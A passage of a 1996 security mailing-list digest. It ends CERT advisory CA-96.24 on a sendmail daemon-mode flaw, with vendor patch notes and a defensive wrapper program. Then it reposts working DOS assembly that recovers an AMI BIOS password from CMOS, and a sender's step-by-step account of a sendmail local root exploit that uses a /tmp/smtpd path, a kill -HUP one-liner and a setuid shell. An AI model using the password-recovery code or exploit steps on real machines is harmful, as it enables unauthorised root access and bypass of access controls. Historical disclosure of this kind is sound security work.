           installed elsewhere), the vulnerabilities in those versions could
           be exploited if an intruder gains access to your system. This
           applies to sendmail.mx as well as other sendmail programs. Either
           delete these versions or change the protections on them to be
           non-executable.

           Similarly, if you replace /bin/mail with mail.local, remember to
           remove old copies of /bin/mail or make them non-executable.


IV.  Additional Notes

     Two other sendmail vulnerabilities are described in CERT advisory
     CA-96.20; see that advisory for details.

     Since the release of CA-96.20, two additional sendmail vulnerabilities
     have been discovered and fixed. By upgrading to sendmail version 8.8.3,
     the two problems, noted below, are also fixed. Note that the wrapper
     described in Section III.C does not address these vulnerabilities. The
     best advice is to upgrade to sendmail version 8.8.3.

     A. A vulnerability in sendmail Versions 8.8.0 and 8.8.1 has been
        discovered that allows remote users to execute arbitrary commands
        with root privileges. This vulnerability exploits exploiting a
        problem related to a buffer overflow when converting between 7-bit
        and 8-bit MIME messages. Versions prior to Version 8.8.0 do not
        contain this vulnerability. Versions before 8.7.6 contain other
        unrelated vulnerabilities. This vulnerability is fixed in version
        8.8.2 and beyond. The Australian Emergency Response Team (AUSCERT)
        issued an advisory on this vulnerability, AA-96.06a, available from

             http://www.auscert.org.au/
             ftp://ftp.auscert.org.au/pub/

     B. A problem in sendmail has been reported that permits users on a
        system to redirect any email in the queue addressed to an unqualified
        domain name to a host of their choosing; that is, they can steal queued
        email. In some versions of the resolver, they may also be able to
        steal queued email addressed to fully qualified addresses. This bug
        is believed to exist in all versions of sendmail up to and including
        8.8.0. It is fixed in version 8.8.1 and beyond.

...........................................................................

Appendix A - Vendor Information

Below is a list of the vendors who have provided information for this
advisory. We will update this appendix as we receive additional information.
If you do not see your vendor's name, please contact the vendor directly.


Berkeley Software Design, Inc. (BSDI)
====================================
BSD/OS is vulnerable to the sendmail daemon problem and we have issued an
official patch (U210-029) which may be obtained from our mail-back patches
server at patches@BSDI.COM or via anonymous ftp from:

        ftp://ftp.bsdi.com/bsdi/patches/patches-2.1/U210-029


Data General Corporation
========================
The sendmail included with Data General's DG/UX is not subject to this
vulnerability.


Digital Equipment Corporation
=============================
DIGITAL Engineering is aware of these reported problems and testing is
currently underway to determine the impact against all currently supported
releases of DIGITAL UNIX and ULTRIX.  Patches will be developed (as
necessary) and made available via your normal DIGITAL Support
channel. Notice will be through normal AES services and DIGITAL'S Web site
    http://www.service.digital.com/html/whats-new.html


FreeBSD
=======
All currently shipping releases of FreeBSD are affected, including the just
released 2.1.6. An update for 2.1.6 will be available shortly. This problem
has been corrected in the -current sources. In the mean time, FreeBSD users
should follow the instructions in the CERT advisory. Sendmail will compile
and operate "out of the box" on FreeBSD systems.


Hewlett-Packard Company
=======================
Sendmail daemon problem:
        Not Vulnerable  HP-UX 9.X, 10.00, 10.01, 10.10
        Vulnerable      HP-UX 10.2  with PHNE_8702        Patches in process


IBM Corporation
===============
See the appropriate release below to determine your action.

  AIX 3.2
  -------
    No fix required. AIX 3.2 sendmail is not vulnerable.

  AIX 4.1
  -------
    No fix required. AIX 4.1 sendmail is not vulnerable.

  AIX 4.2
  -------
    AIX 4.2 sendmail is vulnerable.
    APAR IX63068 will be available shortly.

    To determine if you have this APAR on your system, run the following
    command:

       instfix -ik IX63068

  To Order
  --------
    APARs may be ordered using Electronic Fix Distribution (via FixDist)
    or from the IBM Support Center. For more information on FixDist,
    reference URL:

       http://service.software.ibm.com/aixsupport/

    or send e-mail to aixserv@austin.ibm.com with a subject of "FixDist".

  IBM and AIX are registered trademarks of International Business Machines
  Corporation.


Linux
=====

Linux has provided these URLs for S.u.S.E. Linux:

   ftp://ftp.suse.de/suse_update/S.u.S.E.-4.3/sendmail
   ftp://ftp.gwdg.de/pub/linux/suse/suse_update/S.u.S.E.-4.3/sendmail

Checksums for the files in these directories:

   6279df0597c972bff65623da5898d5dc  sendmail.tgz
   0c0d20eecb1019ab4e629b103cac485c  sendmail-8.8.3.dif
   0cb58caae93a19ac69ddd40660e01646  sendmail-8.8.3.tar.gz

- -----
Caldera OpenLinux has released a security advisory, available from
    http://www.caldera.com/tech-ref/cnd-1.0/security/SA-96.06.html

- -----
Red Hat has patched sendmail 8.7.6. The fixes are available from

Red Hat Linux/Intel:
   rpm -Uvh ftp://ftp.redhat.com/updates/4.0/i386/sendmail-8.7.6-5.i386.rpm

Red Hat Linux/Alpha:
   rpm -Uvh ftp://ftp.redhat.com/updates/4.0/axp/sendmail-8.7.6-5.axp.rpm


NeXT Software, Inc.
===================
NeXT is not vulnerable to the problem described in Section IV.A.
NeXT is vulnerable to the problem described in Section IV.B, and it
will be fixed in release 4.2 of OpenStep/Mach.


Open Software Foundation (OSF)
==============================
OSF/1 R1.3 is not vulnerable to this problem.


The Santa Cruz Operation, Inc. (SCO)
====================================
SCO is investigating the problem and will have more information in the
near future.

If we find that patches are needed, please check the following URLs
and this advisory appendix.

                ftp://ftp.sco.com/SLS/README
                ftp://ftp.sco.com/SSE/README


Sun Microsystems, Inc.
======================
No Sun versions of sendmail are affected by this vulnerability.

...........................................................................

Appendix B - anti-smtpd.c

Below is the code for the anti-smtpd.c sendmail wrapper. Here is an example
of how to compile and install this wrapper. You may have to change these
commands for your system. Further, you may have to change the code for
anti-smtpd.c to get it to compile on your system. Finally, you may also have
to turn off sendmail before running these commands and then turn sendmail back
on after running them. Run these commands as root.


        # mkdir /usr/hidden
        # chmod 700 /usr/hidden
        # mv /usr/lib/sendmail /usr/hidden/sendmail
        # cc anti-smtpd.c -o anti-smtpd
        # mv anti-smtpd /usr/lib/sendmail
        # chmod u+s /usr/lib/sendmail

Here is the code for anti-smtpd.c:

#include <stdio.h>
#include <string.h>
#include <syslog.h>
#include <sysexits.h>

static char *Version = "Version 1.0 November 21, 1996";

/*
**  Sendmail wrapper for CA-96:24 HUP to smtpd problem
**
**      This is trivial -- it just ensures that sendmail cannot be
**      invoked as smtpd.
**
**      To install this, move the real sendmail into /usr/hidden,
**      which should be a mode 700 directory owned by root. Install
**      this program setuid root in place of sendmail.
*/

#ifndef REAL_SENDMAIL
# define REAL_SENDMAIL  "/usr/hidden/sendmail"
#endif

main(argc, argv)
        int argc;
        char **argv;
{
        char *p;
        extern int errno;

        if (argc < 1)
        {
                fprintf(stderr, "sendmail: need a program name\n");
                exit(EX_USAGE);
        }

        p = strrchr(argv[0], '/');
        if (p == NULL)
                p = argv[0];
        else
                p++;
        if (strcmp(p, "smtpd") == 0 && getuid() != 0)
        {
                fprintf(stderr, "sendmail: cannot be invoked as smtpd\n");
                syslog(LOG_ALERT, "sendmail: invoked as smtpd by %d", getuid());
                exit(EX_USAGE);
        }
        execv(REAL_SENDMAIL, argv);
        fprintf(stderr, "sendmail: cannot exec %s: errno = %d\n",
                REAL_SENDMAIL, errno);
        exit(EX_OSFILE);
}

- -----------------------------------------------------------------------------
The CERT Coordination Center thanks Eric Allman and AUSCERT for their
contributions to the development of this advisory.
- -----------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts).


CERT/CC Contact Information
- ----------------------------
Email    cert@cert.org

Phone    +1 412-268-7090 (24-hour hotline)
                CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
                and are on call for emergencies during other hours.

Fax      +1 412-268-6989

Postal address
         CERT Coordination Center
         Software Engineering Institute
         Carnegie Mellon University
         Pittsburgh PA 15213-3890
         USA

Using encryption
   We strongly urge you to encrypt sensitive information sent by email. We can
   support a shared DES key or PGP. Contact the CERT/CC for more information.
   Location of CERT PGP key
         ftp://info.cert.org/pub/CERT_PGP.key

Getting security information
   CERT publications and other security information are available from
        http://www.cert.org/
        ftp://info.cert.org/pub/

   CERT advisories and bulletins are also posted on the USENET newsgroup
        comp.security.announce

   To be added to our mailing list for advisories and bulletins, send your
   email address to
        cert-advisory-request@cert.org

- ---------------------------------------------------------------------------
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.

CERT is a service mark of Carnegie Mellon University.
- ---------------------------------------------------------------------------

This file:
        ftp://info.cert.org/pub/cert_advisories/CA-96.24.sendmail.daemon.mode
        http://www.cert.org
               click on "CERT Advisories"


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMpR+/nVP+x0t4w7BAQG0CQP/VhDo0tT4vtc4RZt+kEV53gdKwA32sYHl
/7tPm5jzUjqA0/ISBh0fawERGMlsijoun5nANBLVL08Me0+PYFF7dupFFZU73nWz
b8CKCmZvpqGh1nGuW2sDMiO4IM4pRAm+3U/j1poi8jRMlkxlQWfgjgHn3ZFt1sEW
aBA2rTonMdo=
=1O88
-----END PGP SIGNATURE-----

------------------------------

Date: 	Thu, 21 Nov 1996 08:36:25 -0800
From: Roger Moar <rmoar@apertos0.csc.UVic.CA>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      Magic password of some linux-box(Hardware..)
Message-ID: <9611211636.AA09035@apertos0.csc.UVic.CA>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit

> Does anyone know if only the Award BIOS is susceptible to this?  In other
> words, are other BIOSes, such as AMI BIOS, susceptible to the same sort of
> behavior?
>
>     Brian

    I don't really remember where I got the following code, but it
worked a few years ago on a 486 machine. If AMI hasn't changed things
much, it may still work.

-Roger.

----------------------------------------------------------------------

; AMiPSW.ASM - Decodes and displays the Ami-Bios-Password!
; coded by mEsCaL/ThE SkeWerS
; v1.1 Toad Hall Tweak, 12 Mar 95
; - Minor optimizing (just can't resist)
; - Adding some comments
; David Kirschbaum, Toad Hall

CODE    SEGMENT
        ORG     100h
        ASSUME  CS:CODE,DS:CODE

Start   PROC    NEAR
; <-=-> THiS ONE READS THE ENCRYPTED PASSWORD FROM CMOS <-=->

        mov     cl,'['                  ;Bracket the password           v1.1
        call    CharOut                 ;display it                     v1.1

        cld                             ;insure forward                 v1.1
        mov     cl,0b7h                 ;CMOS starting address
;v1.1   lea     di,Password
        mov     di,offset Password      ;                               v1.1
        push    di                      ;save for later                 v1.1
Read_Password:
        mov     al,cl                   ;CMOS address we want
        out     70h,al
        jmp     $+2                     ;delay a tick
        in      al,71h                  ;Get password char
;v1.1   mov     [di],al                 ;stuff in buffer
;v1.1   inc     di                      ;bump
        stosb                           ;stuff in buffer                v1.1
        inc     cl                      ;bump CMOS address
        cmp     cl,0b7h+7               ;done 7 chars yet?
        jnz     Read_Password           ;not yet

; <-=-> NOW, WE HAVE TO DECRYPT CHAR BY CHAR <-=->

;v1.1   lea     di,Password
        pop     di                      ;restore pointer to password    v1.1
        and     byte ptr [di],0f0h      ;mask first char
        inc     di                      ;point to next char
Decrypt_Next:
        cmp     di,Offset Password+7    ;hit end?
        jnl     Completed               ;yep
        cmp     byte ptr [di],0         ;current char a 0?
        jz      Completed               ;yep, 0 terminated

        xor     cl,cl                   ;handy 0
        mov     ch,byte ptr [di-1]      ;get previous char
Decrypt:
        inc     cl                      ;build char in CL
        mov     ah,ch                   ;char to decrypt
        xor     dx,dx
        test    ah,10000000b
        jz      NotSet7
         inc    dh
NotSet7:
        test    ah,01000000b
        jz      NotSet6
         inc    dh
NotSet6:
        test    ah,00000010b
        jz      NotSet2
         inc    dh
NotSet2:
        test    ah,00000001b
        jz      NotSet1
         inc    dh
NotSet1:
        add     dl,2
        cmp     dl,dh
        jl      NotSet1                 ;loop

        sub     dl,dh
        shr     ch,1
        cmp     dl,1
        jnz     $+5
        add     ch,80h
        cmp     ch,byte ptr [di]        ;match next char?
        jnz     Decrypt                 ;nope, continue

; <-=-> AND FiNALLY, WE HAVE TO OUTPUT OUR DECRYPTED CHAR <-=->

        mov     ah,2                    ;display char function
        mov     dl,cl                   ;this char
        int     21h

        inc     di                      ;next char
        jmp     Decrypt_Next            ;loop

; <-=-> THAT'S ALL? WELL, THAN LET'S QUiT DiZ SH**! :-) <-=->

Completed:
        mov     cl,']'                  ;Close the bracket              v1.1
        call    CharOut                 ;display it                     v1.1

        mov     ax,4c00h                ;terminate, ERRORLEVEL 0
        int     21h
Start   ENDP

;v1.1 New function: enter with char to display in CL
CharOut PROC    NEAR                    ;v1.1
        mov     ah,2                    ;display char function
        mov     dl,cl                   ;this char
        int     21h
        ret
CharOut ENDP

;Password DB    6 DUP (?)
Password        label   byte            ;dynamic buffer                 v1.1

CODE    ENDS
        END     Start


--

Roger Moar -- rmoar@csr.uvic.ca | http://apertos0.csc.uvic.ca/~rmoar

------------------------------

Date: Thu, 21 Nov 1996 23:09:19 +0300 (MSK)
From: Leshka Zakharoff <leshka@leshka.chuvashia.su>
To: best-of-security@suburbia.net
Subject: BoS: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
Message-Id: <199611212009.XAA01254@leshka.chuvashia.su>

                             Hello all my friends !
     
      I recieved many letters, where you asked me: "HOW IT WORKS ?".
Okay, I'll try to exlplain it to you in details.
      The sendmail ver. 8.7-8.8.2 has a serious bug in the argument
analizer, which allows to run it as a daemon by any user.
      Look at the following strings of the main.c:
  
> .......
>         /*
>         ** Crack argv.
>         */
> 
>         av = argv;
>         p = strrchr(*av, '/');
>         if (p++ == NULL)
>                 p = *av;
>         if (strcmp(p, "newaliases") == 0)
>                 OpMode = MD_INITALIAS;
>         else if (strcmp(p, "mailq") == 0)
>                 OpMode = MD_PRINT;
>         else if (strcmp(p, "smtpd") == 0)
>                 OpMode = MD_DAEMON;
>         else if (strcmp(p, "hoststat") == 0)
>                 OpMode = MD_HOSTSTAT;
>         else if (strcmp(p, "purgestat") == 0)
>                 OpMode = MD_PURGESTAT;
> .......

      How can you see the sendmail goes to the daemon mode if the argv[0] ends
with the substring "/smtpd". Meanwhile the beginning of the argv[0] may contain
the full path of our program which is named "smtpd".
      My script runs the sendmail with argv[0] = "/tmp/smtpd".

      Now you may ask me: "WHAT FOR IT IS NEEDED ?".
      Ok. Let's take a look at the following strings of the main.c:

> .......
>           case MD_DAEMON:
>                 /* remove things that don't make sense in daemon mode */
>                 FullName = NULL;
>                 GrabTo = FALSE;
>                 /* arrange to restart on hangup signal */
> #ifdef LOG
>                 if (SaveArgv[0] == NULL || SaveArgv[0][0] != '/')
>                         syslog(LOG_WARNING, "daemon invoked without full pathname; kill -1 won't work");
> 
> #endif
>                 setsignal(SIGHUP, sighup);
>                 /* workaround: can't seem to release the signal in the parent */
>                 releasesignal(SIGHUP);
>                 break;
>
> .......
>
> void
> sighup()
> {
> #ifdef LOG
>         if (LogLevel > 3)
>                 syslog(LOG_INFO, "restarting %s on signal", SaveArgv[0]);
> #endif
>         releasesignal(SIGHUP);
>         execv(SaveArgv[0], (ARGV_T) SaveArgv);
> #ifdef LOG
>         if (LogLevel > 0)
>                 syslog(LOG_ALERT, "could not exec %s: %m", SaveArgv[0]);
> #endif
>         exit(EX_OSFILE);
> }
> .......
         
      As you can see, when the sendmail recieves signal "SIGHUP", it executes
the program from SaveArgv[0]=argv[0] with root privileges. In our case this
program is /tmp/smtpd. It's funny, isn't it ?

      After running the script, on the console you will see:

> Oct 25 13:25:10 hostname sendmail[1313]: NOQUEUE: SYSERR(username): opendaemonsocket: cannot bind: Address already in use
> Oct 25 13:25:10 hostname sendmail[1313]: problem creating SMTP socket

      It occurs because the smtp port is already busy by the smtp daemon which
was run after the system started. While our daemon is trying to bind to smtp
port (this may continue aproximatelly up to 1 min) we just send the signal
"SIGHUP" to sendmail by the script command:

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`

      After that the program /tmp/smtpd will be executed with EUID=0. This
program make the setuid shell in /tmp directory. 

      Now some words about script problem:

      1) About string " ... execl("/usr/sbin/sendmail","/tmp/smtpd",0); ...":
             On some platforms this string need a little changes for the
         sendmail path.
      2) About string "kill -HUP ...":
             This works on FreeBSD and Linux and with a few correction this
         will work on another platforms.
      3) Sometime, after the script is executed, you may get next:

         > .. /tmp/sh: not found
	
             It usually occurs on slow machines because the script trys to run
         sh which is still not appeared in /tmp directory (program /tmp/smtpd is
         not finished at this moment). This is fixed by inserting the string
         "sleep 5" above the string "/tmp/sh".


      I hope you understood my explanation.

      Sincerely yours,
                                        Leshka Zakharoff.

--------------------------------
End of best-of-security-d Digest V96 Issue #29
**********************************************